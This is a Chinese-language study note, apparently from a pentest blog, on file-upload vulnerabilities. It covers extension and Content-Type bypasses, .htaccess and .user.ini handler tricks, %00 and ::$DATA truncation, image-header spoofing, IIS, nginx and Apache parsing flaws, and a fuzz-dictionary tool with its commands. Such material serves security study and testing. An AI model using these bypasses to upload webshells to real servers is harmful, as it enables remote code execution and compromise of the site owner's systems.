
文件上传

原理:网站一般有文件上次功能,当校验不严格时,就可以上传恶意文件,传递给解释器执行后,可以在服务器上执行恶意代码,进行数据操作,文件管理,命令执行。
后缀绕过:
1 | php: php5,php3,php2,pht,pHTML |
1 | ASP: asa,cer,cdx |
1 | ASPX: ascx,ashx,asac |
1 | JSP: jsp,jspx,jspf |
类型绕过:
Content-Type
1
2
3
4
5
6
7image/png
image/gif
image/jpeg
application/octet-stream
application/pdf
application/zip
text/csv前端—禁用js
文件解析规则
.htaccess规则文件
1
2
3
4
5
6
7AddType application/x-httpd-php .jpg
&&
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>windows环境特性
1
2::$DATA
%00截断,保存文件时是路径拼接,%00截断了会显示为空格,假如/upload/ss.php /20246666.jpg 访问ss.php可大小写
双写
.user.ini 需要同目录下存在php文件
1
2GIF89a
auto_prepend_file=a.jpg点空格
文件头
1
添加GIF89a
条件竞争
常见的web容器有iis,tomcat,nginx,Apache等
iis5.x iis6.x解析漏洞
当创建.asp的文件目录时,在此目录下的任意内容,服务器都解析为asp文件,如mengxing.com/aa.asp/aa.jpg为asp脚本文件
服务器默认不解析;后面的内容,所有url/aa.asp;jpg
微软查找规则:从头部找 . 号,然后查找 ; 号,找到.asp;jsp,如果有则内存截断,查找 / ,如果有则内存截断
微软不认为是一个漏洞,所有没有补丁
iis7.0 7.5 配置错误导致漏洞 php-fcgi请求限制取消
把1.php木马修改为1.png添加/.php 可以访问
phpstudy+nginx解析漏洞
phpstudy > 8.1.07
错误配置 php.ini 配置文件中 cgi.fix_pathinfo=1
制作图片马,访问一个sdas.php 不存在的php就可以访问 例55.png/sdsa.php
nginx漏洞
低版本中有PHP-CGI导致的文件解析漏洞,当url中不存在此文件时,默认向前解析,在php的配置文件cgi.fix-pathinfo中,默认开启
阿帕奇解析漏洞
apache在1.x和2.x版本中,从右往左判断后缀,假如baidu.com/shell.php.aaa.sss,会别识别为shell.php
fuzz绕过
1 | https://github.com/c0ny1/upload-fuzz-dic-builder |
1 | python3 upload-fuzz-dic-builder.py -l asp 生成asp字典 |
上传文件名为:test
,可以上传后缀为jpg
,后端语言为php
,中间件为apache
,操作系统为Windows
,输出字典名为upload_filename.txt
的fuzz字典
1 | python3 upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt |